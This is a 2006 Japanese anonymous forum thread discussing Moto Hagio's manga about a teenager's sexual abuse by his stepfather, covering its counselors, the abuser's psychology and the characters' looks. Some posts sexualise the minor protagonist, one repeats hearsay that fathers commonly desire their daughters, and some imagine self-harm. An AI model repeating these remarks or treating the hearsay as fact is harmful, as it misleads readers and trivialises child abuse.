精神科医は治療の一貫として面接（分析）もする。
カウンセラーは医師免許がないので治療できない。
面接はしても診断できないし、投薬もできないからね。
薬を出してるところを見ると
ペン先生のとこは医療施設なんだろうね。
248:２３０
06/10/15 00:24:51 0
私のカウンセラーは精神科医だったよ
投薬もされてたけど。週１回、１時間カウンセリング＋投薬だった。
249:花と名無しさん
06/10/15 00:29:50 0
だから面接も投薬もするってことでは？
>>242
グレッグは目に見える虐待してたけど
サンドラは目に見えない、でも愛という名を借りて１番ジェルミを
苦しめてたんだよね。あの仮面はサンドラこそが愛という名でジェルミを
がんじがらめにしてた元凶って意味だよね？
250:花と名無しさん
06/10/15 01:14:22 O
つかさ、残神ってカウンセラーが2人でてきたじゃん。
萩尾さんがこのカウンセラーを使ってどんな心理療法をみせてくれるのか楽しみにしていたんだよね。
心理学の本とか結構読んでる人でもあるらしいから期待もしていた。
だけど、主人公との接点があまりなく、ただの脇役になってしまったのが非常に残念だったと思う。
251:花と名無しさん
06/10/15 01:33:40 O
>>242
お面もそうだけど、身近にある物も巧く利用して、イメージ映像として現実と重ね合わせる表現力に惚れた。
もう一人のイアンが箱から出てきたりする場面とか。
芸術的な漫画家だなぁってつくづくと思う。
252:花と名無しさん
06/10/15 01:47:13 0
>>250
だってただの脇役だもん
脇役にしてはかなり巧く描かれてたと思うけど
253:花と名無しさん
06/10/15 01:50:36 0
もう一度（不足分を買いなおして）読見直そうかと思い始めたじゃないか。
254:花と名無しさん
06/10/15 01:56:48 O
>>240
でもそれ萩尾が予想としていっていたよ。黒歴史
でもああいう、後の続きは想像に任せますみたいな終わり方もいいとは思うけど。
255:花と名無しさん
06/10/15 02:04:09 O
ファンの間で噂になっているんですが
残酷な神が支配するって、トーマの心臓の裏テーマなんじゃないかってのよく見かけるけど
ここの人達もそう感じている人います？
ユーリ＝ジェルミ
オスカー＝イアン
トーマ＝グレッグorサンドラ
256:花と名無しさん
06/10/15 02:34:33 0
>>255
過去ログ嫁
257:花と名無しさん
06/10/15 02:45:49 0
うん、
１：過去ログを読んでみる（けっこう面白い）
便利な過去ログ倉庫
URLﾘﾝｸ(gcomic2ch.hacca.jp)
ここにまだ入ってないならにくちゃんねる
URLﾘﾝｸ(makimo.to)
２：既出でなければ堂々と
既出でも語ってみたければそんなふいんきで参加してみる
何度でも語りたい人もそんなネタも多い
３：そのファン友がこのスレに以前から来ているという可能性を考える
４：ファン友が自分と情報共有してくれなかった理由を考える
258:花と名無しさん
06/10/15 02:54:19 0
>>234
オーソン先生のときとペン先生のときでは
主訴（ジェルミの困ってること・助けてほしいこと）が全く違うよね。
前者では、グッレグとのセックスから逃げたい、
しかし母親にはその事実を絶対告白するわけにはいかない、
というのがジェルミの悩みの核だったけど、
後者では、告白できずに悩んでいるのは、虐待のことよりも母親殺しの件だ。
（だから殺人の秘密を知ってる唯一の人間であるイアンに対して、
本来ならカウンセラーに対して求めるべきものを
無意識にせよジェルミは求めてしまったんだろうし、
素人治療者もいいところのイアンはまんまと引きずられたわけだが）
ジェルミは、サンドラを守るためにはグレッグの虐待も耐えるべきだし、
虐待の原因は自分自身にあるって思い込んでいたようだけど、
そうまでして子どもが母親を庇う必要なんか全くないわけだよ。
ペン先生に対して感情を爆発させる瞬間まで
ジェルミ自身は、サンドラに対して自分がそこまで怒りを抱いていたというのを
自覚していなかったみたいだから、その抑圧を顕在化させたことについては
カウンセリングの効果はあった、ということになる。
もしイアンが義理の兄ではなく、
ペン先生のとこの若いカンセラーとか大学の研修医とかだったら
わりと批判の多い後半のBL的展開について、反応はどうだったんだろう。
まだ経験の浅いカウンセラーや精神科医が、患者の転移に上手く対処しきれないで
過度に拒絶的な態度をとったり、逆に私的に親密になりすぎちゃったり、
患者と治療者の適切な関係を壊してしまうことは実際良くあることだけど、
逆にそういう展開に持って行ったら、もっと拒絶反応がありそうな気がすんだが…
259:花と名無しさん
06/10/15 03:01:38 O
>>255
オスカーは空気が読める子です。
＝←× ≠←○
260:花と名無しさん
06/10/15 07:38:44 0
>>217
今さらでスマンが、その友人は疫病体の臭いがする。
261:花と名無しさん
06/10/15 11:39:33 0
>>250
２時間サスペンスとかで
主人公が素人探偵で…って話の場合
出てくる警察官は脇役でうすーく描かれているが
ああいうものじゃないのかな。
本職が出張ってきてたらドラマが薄れる場合
ドラマ重視で本職は彩り程度に抑え目に描くっていう。
262:花と名無しさん
06/10/15 11:54:50 0
主人公の兄が警視総監だと知ると急にへつらって
協力的になっちゃりとか？
263:花と名無しさん
06/10/15 13:42:14 0
物語のバランスをとるためというのもあるだろうけど、
萩尾さんとしては、精神分析や心理療法を
万能の切り札や解決の手段のように用いるのを避けたかったんじゃまいか。
80年代あたりに一時期、精神分析をベースにした創作や批評が一斉を風靡したけど、
そういうのへのアンチテーゼつーか。
実際少女マンガ界では、萩尾、山岸、大島あたりがそういう傾向の作品を多数発表してたし、
多少の自己批判もあるんだと思う。
264:花と名無しさん
06/10/15 14:56:22 0
へー、そうなの。心理療法や精神分析がテーマの漫画なんて
萩尾先生以外に読んだことなかったな。
昔って恋愛漫画ばっかだと思ってた。
265:花と名無しさん
06/10/15 15:02:15 0
>>264
今はセックス漫画ばっかりだけどね。＜少女漫画
266:花と名無しさん
06/10/15 15:05:23 O
「はみだしっ子」や「エスの解放」、「バナナブレッドのプディング」、「天人唐草」とか読んだことないの？
267:花と名無しさん
06/10/15 15:10:53 0
ない、全然ない。題名に何となく聞き覚えがあるようなないような感じ。
バナナブレッドのプディングってミスター味っ子みたいな料理漫画かと思うよ。
そんなタイトルで、中身は精神分析の話なの？
268:花と名無しさん
06/10/15 15:14:58 0
>>367
ミスター味っ子は料理漫画じゃないと思うｗｗｗ
269:花と名無しさん
06/10/15 15:20:16 0
>>267
自分も読んだことはないが気になってぐぐってみた。
URLﾘﾝｸ(www.amazon.co.jp)
このレビューを見る感じでは「精神分析の話」ではなさそうですが
恋愛漫画でもなさそうですよ。
気になったので自分は読んでみようかと思います。
ついでに、三原順の漫画は「精神分析の話」ではありませんが
やっぱり恋愛漫画ではありません（ほとんど恋愛は絡まない、絡んだとしても悲劇のきっかけ程度にあっさりと）。
８０年代の少女漫画（白泉社系、小学館系）には恋愛漫画というくくりじゃ語れない漫画が多かったです。
すれちがい失礼。
270:花と名無しさん
06/10/15 15:50:08 0
や、精神分析がベースの、つうのは
別に精神科医や分析シーンが出て来るということじゃなくて
トマス・ハリスの「羊たちの沈黙」とか
浅田彰の「逃走論」（スキゾ/パラノ）とかみたいに
精神分析の知識を基盤にしてるってことでしょ。
知って無くても読めるけど、知っていれば通りが良い、
ていうか、知っている人には「分析理論そのままじゃん」てな展開。
そういや異常であることはまた特別でもある、ってのが
また当時の風潮でもあったんだよ。
厩戸王子だの、レクター博士だの、ああいう天才は80年代の産物だ。
そもそも「もとはと言えば幼児期の母子関係に問題があったからですよ」と言われて
理由が分かって理解したところで、何か劇的に局面が変化するのかって、
そりゃ物語的には大きく展開するだろうし、
死んだ者への共感や理解は多少は深まるかもしれんけど、
残された者の日々は物語が終わったあとも続くわけで、
彼等は傷つきのレコードとしてこの先も生きて行かなきゃいけない。
生まれ変われるとか、傷を受ける前の状態に戻れるってことは絶対有り得ないんだから。
でも人間て、それでも普通に生きてけるし、普通に幸せになれんだよ、ってのを
萩尾さんは残神のあのラストで示したかったんじゃないかと。
ジェルミを、ものすごい美少年とか、何かの才能に秀でてるという設定にせず
むしろあまりパっとしない平凡な子として描いたのにも
そういう意図があったように思います。
271:花と名無しさん
06/10/15 16:49:40 0
確かに、あの長編漫画の主人公がこいつか・・・と、
何となくガッカリしたな。初めてジェルミを見たときは。
やぼったくてくるくる頭で眉毛がつながってて童貞で、性格が暗い。
おい、こいつがホントに主人公かよ！？って思った。
話は良く出来てると思う。んだけど、ジェルミはそんなに好きじゃないな。
272:花と名無しさん
06/10/15 16:58:39 0
萩尾さんは主役級キャラを「感じよく」「かっこよく・可愛く」＝キャラ萌え可能なように
作りこむことには興味があまりないように思う。
トーマやポーがむしろ例外的だったんじゃないかな。
描きたい物語舞台や語りたい世界が先にあって、そのためにキャラを作って配置してる気がする。
ジェルミはちょっと仲良しのガールフレンドがいる16歳童貞、ブサイクとはいわないが
格別の美少年ではない（ボンチャイナみたいな色白という描写はある）、美術的なことに
興味関心はあるが知識を掘り下げるような熱意も財力もなかった（母子家庭）、
父親が早くに死んでマザコン、
その母親も最上の美人でもなく献身的母性愛あふれるタイプでもないファザコン系。
「地味で平凡で奥手な子供」があんな目に遭ってしまって逃げられない、ってのがそもそもの前提。
273:花と名無しさん
06/10/15 17:09:58 0
すごいな。萩尾先生は。
もし私が絵が上手で話も上手で、「残酷な～」を描くんだったら
絶対に主人公を美形という設定にしたくなると思う。
274:花と名無しさん
06/10/15 17:29:57 0
スレチだが、「バナナフィッシュ」でどこにでもいそうな素朴な青年（少年？）という設定だったアッシュ（主人公）が
いつの間にか途中から美少年設定になって、みんなからケツを追い回されてたのにげんなりした記憶がある。
主人公が美形で、だから悲惨な目にも遭うんですよ
ってのは昔からよくあるネタだが
「平凡な少年」＝その手の被害に遭いそうにもない普通の存在、が悲惨な目に遭うってとこが
現代的なネタなんじゃないかな、と思うので
ジェルミが美形じゃなくてちょっと嬉しい。私は、だけど。
275:花と名無しさん
06/10/15 17:43:44 0
ジェルミは少年としてはそこそこ美形（ややエキゾチック）、
オトナになってまでハンサムではないタイプかと思ってた。
イアンは端正な顔でオトナになってもハンサム。
弟のマットはオトナになるとけっこうハンサム、なんじゃないのかなぁと。
276:花と名無しさん
06/10/15 18:26:10 0
>>274
アッシュはねー初期の大友っぽいイモ兄ちゃんが魅力的だったのにね('A`)
普通の（ブサイクではない程度）見目のアッシュがあそこまで狙われ利用されたのは
反抗的で芯の強い、文字どおり山猫みたいな目と気性のせいだと思ってた。
今でもその設定の方が魅力的だと思ってる。
美形だから狙われるのなら顔に傷つくってピザデブにでもなれば済むけど
「なんで自分が狙われるのかわからない」ジェルミの恐怖ってすごいうまい設定だ
277:花と名無しさん
06/10/15 18:27:30 0
あーわかった。
私だけかもしれんが、私がジェルミを好きになれないのは
外見がどことなくオカマっぽいからだ。コスモやマットやエリックとかはすき。
でもジェルミは何かオカマ臭が漂ってる。特にあの髪型と唇。
278:花と名無しさん
06/10/15 18:30:38 0
>>276
アッシュについては全くもって同意！
でもジェルミがピザデブになってたらグレッグは虐待やめたんかな？
めっちゃ笑えるけどさ。やせるまで食事さしてもらえなさそう。
アッシュでもジェルミでも。
279:花と名無しさん
06/10/15 18:40:34 0
なんつうか何もかもがアンバランスなんだよね。
顔立ちは平凡なのに、肌は白くて薄い。
眉は太くて意志が強そうなのに、瞳は大きくて黒目がちで不安げ。
女の子みたいと言う程には華奢なわけじゃないけど、
男の子にしては全体に小作りで線が細い。
そういうアンバランスさが人をイラッとさせて、
うっかり手を出したくなるのかも。
280:花と名無しさん
06/10/15 18:41:57 0
>>277
何となくわかるような・・
ジェルミは確かにあの多い登場人物の中で一人異彩を放ってる。
何だろ・・・一人だけ黒髪だからか？
281:花と名無しさん
06/10/15 18:57:42 0
スレ違い気味だが、吉田秋生は絵柄が石森章太郎や大友克洋や山岸凉子といった
先輩マンガ家たちの影響を受けたかのようにどんどん変化していったからね。
「カリフォルニア物語」も最初と最後ではかなり違う。アッシュの顔も作品が
長期化したから変わった部分もあるんだろうね。幼い頃の性的虐待という設定が
が最初からあったのかどうかは分からないけど。
282:花と名無しさん
06/10/15 19:10:51 0
ジェルミってイアンみたいな正統派二枚目ではないが
可愛い顔つきで線が細くて中世的でつい犯したくなるって少年やったやん。
だからこそグレッグに見初められたわけで。
それじゃいかんのかい？
ジェルミ可愛くて好きなのに。
283:花と名無しさん
06/10/15 19:17:26 0
ジェルミ小柄そうだもんな。
ナディアより小さかったような…
イアンて190cm超えてるんだっけ？
284:花と名無しさん
06/10/15 19:28:45 0
イアンは初登場時からとても高校生とは思えない
そのあともあのスーツ姿が学生には見えない
285:花と名無しさん
06/10/15 19:41:40 0
>>281
先輩漫画家の影響もあるけど、モデルにした人が途中でシフトしたのが最大の理由。
連載当初はマーク・ハミル（スターウォーズのルークスカイウォーカー役の人）をモデルにしていたのが
途中でリバー・フェニックスにハマってモデルをリバーにシフトしたせいで
イモ兄ちゃんから、美形フォモライクなｷｬﾗに変化したのだとか。
本人が対談で言ってたのを読んだことがある。
286:花と名無しさん
06/10/15 19:46:13 0
ジェルミの可愛さはイアンと暮らしたエピソードに出てるよね。
部屋に入れないとか、メイクラブ以外にキスされるとえらく動揺するとか、
容姿より、ぐれっくに漬け込まれたのはこの純朴さかも
287:花と名無しさん
06/10/15 20:50:37 0
うげげ
288:花と名無しさん
06/10/15 20:58:01 0
グレッグをシュロッターベッツに放り込んでみてはどうか。
趣味志向がはっきりわかりそうだ。
意外とアンテみたいなのが目に止まるかもしれん。
289:花と名無しさん
06/10/15 21:06:52 0
オーギュとサイフリートとグレッグで
三者会談。
290:花と名無しさん
06/10/15 21:07:49 0
なにその地獄の釜の蓋
291:花と名無しさん
06/10/15 21:11:02 0
仏独英が揃いぶみだなw
292:花と名無しさん
06/10/15 21:31:55 0
その三者会談、オーギュが受けだな。
293:花と名無しさん
06/10/15 21:44:56 0
グレッグのサドぶりは、サイフリート様には敵わない。
お面よりも八角メガネきょーれつ
294:花と名無しさん
06/10/15 21:52:57 0
>>293
日本語間違ってなくね？
295:花と名無しさん
06/10/15 21:58:24 0
グレッグはムチで自分がぶたれたら、それはそれで幸せな新世界のドアを開けてしまいそうな気がスル・・・
296:花と名無しさん
06/10/15 22:10:08 0
>>294
293じゃないけど、合ってると思うよ。
「受ける側になる」って事でそ？ あの用語で。
297:花と名無しさん
06/10/15 22:11:32 0
サンドラは厩戸のお母さんと反省会
厩戸、毛人に「あなたの言う愛は他人を呑み込むことだ」
みたいな事言われてたけど、グレッグと気が合いそうじゃないか？
298:花と名無しさん
06/10/15 22:53:17 0
それにしても、グレッグとイアンは遺伝子が同じだからまだいいとして
それ以外の野郎共までジェルミにことあるごとに群がってたよねえ。
パンジーだのパスカルだのロレンツォだの。
まるでさも当然のごとくオーラルをするジェルミには、今までの過程があれど
お前はもう少し控えろ！と萎えたりもしたが。パスカルなど出会って数コマでｗｗ
299:花と名無しさん
06/10/15 23:40:35 0
性的虐待を受けた子ってそういう境遇から脱することができても
精神的に自棄になってるからわざと自分を貶める環境に進んでしまいがちらしい。
300:花と名無しさん
06/10/15 23:41:54 0
300ゲット。
301:花と名無しさん
06/10/16 00:38:05 0
全然違う話でスミマセン。幕間の茶番としてお読みくださいませ。
先日、ＰＣでクイズ形式の国盗り合戦ゲームをやってみた時のこと。
設問はＦ１やらプロレスやら漫画やらに関連した雑多なものだったのですが、
突然画面に「トーマの心臓」の文字が表れてビックリ。
問題は「トーマの心臓で描かれたのは？ １：兄弟愛 ２：人類愛 ３：同性愛」。
ここで３を選ばなきゃならないのは、ちょっとばかり複雑な気持ちでした＾＾；
302:花と名無しさん
06/10/16 02:05:49 O
>>277
少年と青年の違いでは？
303:花と名無しさん
06/10/16 05:43:53 O
>>301トーマって同性愛かな？
性や肉体を超えた、精神的な愛がという感じなんだけど…。アガペーと言うか
同性愛より、２：人類愛のほうがまだ合うように思える。
少なくとも質問者は読んだことがなさげ。
304:花と名無しさん
06/10/16 07:06:56 0
>>298
性的虐待を受けていた子にはよくある行動らしいよ。
305:花と名無しさん
06/10/16 07:09:52 0
>>303
全面的に同意。
306:花と名無しさん
06/10/16 07:45:17 O
>>303
兄弟愛だって、ユーリと妹で描いてあったしね。同性の愛もありましたが。
あれは不幸のズンドコのユーリが人類愛によって救われる話。問題制作した人は読んでないんでしょ。
本来ならその三択にはなり得ない。
「毎月出る雑誌はどれ？①なかよし②りぼん③ちゃお」という質問のようなものです。
307:花と名無しさん
06/10/16 08:06:11 0
ジェルミ＝平凡な容姿って見ている人って多かったんだね。
ロレンツォは
「プラトンの愛した美少年のよう」とジェルミを言ってたから、
単純に美少年って思ってた＞ジェルミ
ウィリアムも「かわいい」とかルーも「お人形さんみたい」って言ってたし。
大人しそうって意味もあったんだろうが、
平凡な容姿の男に言う言葉じゃないよな…。
その後に「マゾ？」って言ってるから、お世辞を言う子じゃないしルーは。
読み返すと、イアンって平均して美形だけど、
ジェルミは不細工の顔の時もあるし美形の顔の時もある。
萩尾さんにしてはめずらしく安定しない顔だなーと思ってたが、
美少年（綺麗系ではなく可愛い系）設定なんだろうとは思ってた。
オンザ眉毛のきつい癖っ毛って難しいのかな。
308:花と名無しさん
06/10/16 08:28:27 0
>>307
うちの甥っ子はみんなから「かわいい～」と言われるが（道行く見知らぬ他人からも言われる）
全然美少年じゃないよ。
（とりたてて不細工でもないけど、「美」とかつけると笑われるような平凡な顔立ち。
ただ、肌は肌理が細かくて、色白ではあるが）
かわいいと美少年は別ものじゃないかと。
309:花と名無しさん
06/10/16 09:16:59 0
ジェルミの魅力は、あの巻毛だと思ってたよ。
イタリア人のロレンツォに
ギリシャの美少年とか言われちゃちゃうのも
あのくるくるが、ローマやギリシャの彫刻みたいだからだろうと。
萩尾さんはかなり適当にw描いてるけど
くるくる巻毛で肌が白いって、実際には相当目を引く。
310:花と名無しさん
06/10/16 09:38:21 0
>308
私の兄も、よくかわいいと言われてたが、
ウィリアムの悩む「かわいい」とは、別だと思う。
私は「萩尾望都が美少年に表現できなかった」のが、
ジェルミだと思うよ。
ロレンツォやイアンが「美少年」っていうのに、「？？？」だったから。
まぁ、イアンはフィルターがかかってたんだろうけど。
オスカーやエドガーのように、軽く流れる癖毛は、絵を描く時も綺麗に決まる。
でも、きついチリチリ系は、バランスがとれなくて難しい。
しかも、初期のジェルミは、おばさんパーマだったし。
311:花と名無しさん
06/10/16 09:45:49 0
イアンがジェルミを美少年ねんて言ってたっけ？
眉毛がつながってるとは言ってたけど。
312:花と名無しさん
06/10/16 09:46:53 O
>>289
総合司会は良識派のボナールで。
313:311
06/10/16 09:47:37 0
イアンが関西人に！
×美少年ねん
○美少年
314:花と名無しさん
06/10/16 09:50:11 0
>>311
ラストに言ってるけど、冗談っぽいw
315:花と名無しさん
06/10/16 09:54:18 0
平凡って決めつけたり美少年って決めつけたり
人それぞれでいいじゃん。
誰かも言ってたけど絵が安定してないのがいけないわけでwww
確かに美形な時と不細工の時の差が激しいし＞ジェルミ
316:花と名無しさん
06/10/16 09:59:38 0
>>315
それってリアルな人間にもあるよね。
私の彼氏もしゅっとした男前顔の時もあれば
なんかおっさんみたいないけてない顔のときもある。
317:花と名無しさん
06/10/16 12:34:30 0
イアンがジェルミにオペラの説明をしてたとき、
イアンがうなじにキスしたいと思ってた時のジェルミは色っぽい。
でもその直後の「払わないならお断り」の時のジェルミの顔は
目だけがギョロっとしててぶっちゃけ変な顔。
ボストンでイアンが追いかけてた頃のジェルミは
あの短髪＋丸い帽子のおかげでカッパの印象www
318:花と名無しさん
06/10/16 13:19:55 0
ジェルミはたまたまグレッグみたいな変態に目をつけられてしまったが
ジェルミの弱点＝サンドラという、本人でさえ気づいてなかった心理を
見抜かれたってことだよね。
外見的な部分だけではなく、こういった強者が弱者に付け込むスキというか
オーラがあったんだと思う。
いじめでも振り込め詐欺でもターゲットになりやすいタイプを
瞬時に見分ける悪い奴らっているが、ジェルミの不幸はその相手が
変態性欲者だったってことかな。
319:花と名無しさん
06/10/16 18:31:26 0
そういう変態とかが見分ける能力にすぐれてるんじゃ？
320:花と名無しさん
06/10/16 18:48:20 0
それはあると思う。
私もちょっと変わった嗜好の持ち主なんだが
同類さんはけっこうわかる。
321:花と名無しさん
06/10/16 20:52:15 0
>>320
うへぇ
322:花と名無しさん
06/10/16 21:43:52 0
ﾄﾞﾝﾅｼｺｳ?
323:花と名無しさん
06/10/16 22:17:57 0
Ｎゲージに萌え、とか？
324:花と名無しさん
06/10/16 22:22:45 0
>>323
それはかなりニッチな嗜好だなｗ
325:花と名無しさん
06/10/16 22:30:06 0
それと逆っつーか、一見立派に見えるのに
グレッグの異常さを見抜く人もいそう。
326:花と名無しさん
06/10/16 22:35:41 0
同類の変態さんだったら見抜くかもね。
327:花と名無しさん
06/10/16 22:37:45 0
グレッグが精神科受診したらどんな診断名がつくんだろ
単なる変態なんだろーか
サイコパスか
328:花と名無しさん
06/10/16 22:56:25 0
グレッグの場合は禁忌を犯す事それ自体に性的興奮を感じていたのかな、と思う。
彼なりの愛や思いやりの哲学はおそらくあるんだろうけど、
それよりも深い所にそんな風な性衝動があり
それを基準にして愛が構築されているような印象を受ける。
昔、大人の健康センターで働いてたけど、
社会的地位があるのに信じられない位マニアックな嗜好を持つ人って結構多かったよ。
実の娘の裸の写真とか見せてくる客（それを見てるこっちの反応も楽しんでた）とかもいた。
手は出してないって言ってたけど、どうなんだか・・・思い出しただけで胸糞悪い。
329:花と名無しさん
06/10/16 23:16:02 0
うへーーー
ヘビィな職場だねー。
そんなもの、ただ見せられるだけでもある意味かなりなハラスメントだよね。
330:花と名無しさん
06/10/17 01:38:28 0
けど、父親って娘と肉体関係持ちたいって潜在的に望んでる人が多いと
聞いたことがあるな。実行に移すやつは鬼畜だが。
331:花と名無しさん
06/10/17 01:53:32 0
>>330
嫌だな、それ
ただでさえ父親の性欲って娘にとっては汚いイメージなのに･･･
でも自分もなぜか父親に犯される夢を見たことがある
332:花と名無しさん
06/10/17 02:14:20 O
最近モラハラ(モラル・ハラスメント)という言葉を知ったのだけど
グレッグがサンドラ達妻にやっていることは、もろにモラハラの典型例で驚いた。
殴る等のわかりやすい暴力は使わないものの
ため息をついたり、睨んだり、「君は駄目だ」と繰り返すことで
被害者をだんだん自信喪失状態に追い込み、自らの支配下に置く。
で、もしたまりかねた被害者が加害者から離れようとすれば
泣いて謝って心から悔恨したように見せかけ引き留める。(でも結局すぐに元通り。)
サンドラ達妻は、グレッグがいつ機嫌を損ねるかと常にビクビクして気をつかっていて
やはり典型的な被害者タイプだなと感じた。
333:花と名無しさん
06/10/17 02:20:25 0
グレッグは内心、ジェルミ親子って何て弱くて簡単なんだと
思ってただろうな
334:花と名無しさん
06/10/17 08:42:27 0
キャスの姉ちゃんタイプなら、「フザケンナ」と家を飛び出すねw
335:花と名無しさん
06/10/17 14:44:25 0
１５歳・・・うーん・・・いいなりになってしまうのかなあ
毎週でしょ？我慢できて１ヶ月くらいなんじゃないかなー普通なら。
言わないまでも挙動不審になってばれそうだ。
突然朝食の時に怒り狂ってグレッグもサンドラも殴って飛び出しそう。
私なら。
336:花と名無しさん
06/10/17 14:50:55 0
>>335
もともと心身健康な19歳の男子でも、親に
「軟禁状態で食事を与えられず餓死、死亡時の体重は8歳児並」なんて事件が
ニュースになるんだよ
「嫌だけどしぶしぶ言うことを聞いてやってる、いつかはブッコロース」
と考えられて実行できるうちは、むしろそれはあまり深刻ではない
337:花と名無しさん
06/10/17 15:05:26 0
>>335
ゆで蛙の話聞いたことある？
338:花と名無しさん
06/10/17 15:11:07 0
ない。ゆで蛙って何？
339:花と名無しさん
06/10/17 15:12:59 0
>>336
岸和田の事件は中三の少年だっけ…
発見された時20ｋｇ台だったってね。
340:花と名無しさん
06/10/17 15:14:41 0
ね、ゆで蛙って何？
341:花と名無しさん
06/10/17 15:19:01 0
>>340
熱湯にカエルを放り込もうとする→すぐさま飛んで脱出する
水にカエルを放り込もうとする→喜んで入る
じわじわと水を加熱する
→ん？なんだか居心地悪い？
→でも平気
→まだ大丈夫、まだ大丈夫、こんなの耐えられる
→もうダメだ、これでは死んでしまう、逃げないと
→全身弱っていてもう逃げられない
→あぼん
342:花と名無しさん
06/10/17 15:20:28 0
朝食のゆで卵を割ってみたら中にゆでられた蛙が入ってて、
その事を学会に発表して一躍有名になった少年の話？
343:花と名無しさん
06/10/17 15:21:20 0
>>335
だからジェルミも実際に虐待を受けてたのは三ヶ月程度だし。
新学期がはじまってクリスマスまででしょ。
344:花と名無しさん
06/10/17 15:22:02 0
おお～～～！！
なるほど。これと同じ現象がジェルミにも起こってたんだね。
ん・・・そうなの？
ゆで蛙って心理学の用語かなんか？
345:花と名無しさん
06/10/17 15:26:43 0
ありえないけど、もしも、自分が萩尾先生の作品の中から
絶対１つ選んでその主人公を演じないといけないとしたら
残神だけは絶対やだな。演技でもかなりウツ入りそうだ。
346:花と名無しさん
06/10/17 15:31:49 0
>>343
「３ヶ月間、義父によるレイプと鞭打ちと絞首に耐えれば親父は死ぬから自由の身だよ
心理的虐待に耐えて家庭内売春すれば必要なものは買ってもらえるんだよ」
って、最初から売春内容と、それで間違って死ぬかもしれないけど３ヶ月間だから、と
期限を切ってもらえるんなら、大人なら耐えるかもしれない。
でも、ジェルミにとっては「グレッグが（自然に）死ぬまでの数十年間無期限」だった。
耐えられる？
「首を絞めると性的興奮が高まって気持ちいい」なんてSM嗜好はなかった。
このままでは殺される、とはっきりそう思った。
たった３ヶ月なんだからそこまで傷つくわけがないってわけはないと思うな。
347:花と名無しさん
06/10/17 15:38:40 0
うん。ジェルミにしたらいつ終えるともしれない苦痛の日々だったんだしね。
それにたったの１ヶ月でも３ヶ月でも、一度受けた虐待の傷をいやすには
何年もかかるってのを上手く表現できてるよ。
振り返ればたった３ヶ月なのに、もっとずっと長かったような気がするし。
348:花と名無しさん
06/10/17 15:39:22 0
343>>346
いや、自分の言いたいのもそういうこと
（たかが三ヶ月で限界だった）なんだけどね。
>>335読んでね。
349:花と名無しさん
06/10/17 16:06:38 0
うんうん。みんなの言いたい事よくわかるよん。
もういつ終わるともしれない苦痛、耐えられてもせいぜい一ヶ月程度だ！
ってことだよね。
もし私がジェルミだったら・・・
グレッグを殺すこともサンドラに直訴することもできないなー。
多分部屋で手首切ってしまいそうだ。
だがもしそれほどの苦痛を受けて壊れたらもしかして殺ってしまうかもしれん。
むしろ私ならグレッグ殺して自分も死ぬかも。
それほどの傷を受けた上なおかつ殺人の罪まで背負うのは無理ぽ。フィールドアウトしてしまいそう。
350:花と名無しさん
06/10/17 16:29:11 0
多分遺書を残して自殺するって結論になりそう。
でも、実際死のうとしたら「何で自分が死ななきゃいけないんだ！」って
怒りがこみあげてきてグレッグを殺したくなる。
でも実際殺す勇気もなかったらオーソン先生みたいな人に助けを求めて
自分を騙しながら怒りをふくらませながら虐待受け続けて
ある日、キレて非行に走る。その後は特に母に暴力をふるい
家族全員に怒りをぶつけてしまいそう。
351:花と名無しさん
06/10/17 16:32:10 0
もし自分がジェルミなら、イアンと恋愛関係や肉体関係は絶対結べない
いくらハンサムでも献身的でも、絶対無理。
352:花と名無しさん
06/10/17 16:41:31 0
話は変わるんだけど「銀の三角」を２回読んだんだけど
どうにも意味がわからずに困ってしまう。
皆はわかった？私、頭が悪いんだろうか。
テーマもわからんかったし、何を描いた話かさっぱりわかりません。
353:花と名無しさん
06/10/17 16:41:39 0
連載中はリアルに追っかけてたが
読者の立場なのに「こんな虐待があとどれほど続くねん…」と
心が痛かったもんなー。
あと何ヶ月で終わるってのはこっちにもわからなかったから。
当時は「おねがいジェルミがこれ以上壊れないように。この苦痛が早く終わるように」って
そればっかだった。
ただのお話なのに。
グレッグが死んだ後は、
「イアンめ……………」ってそればっかだったがwww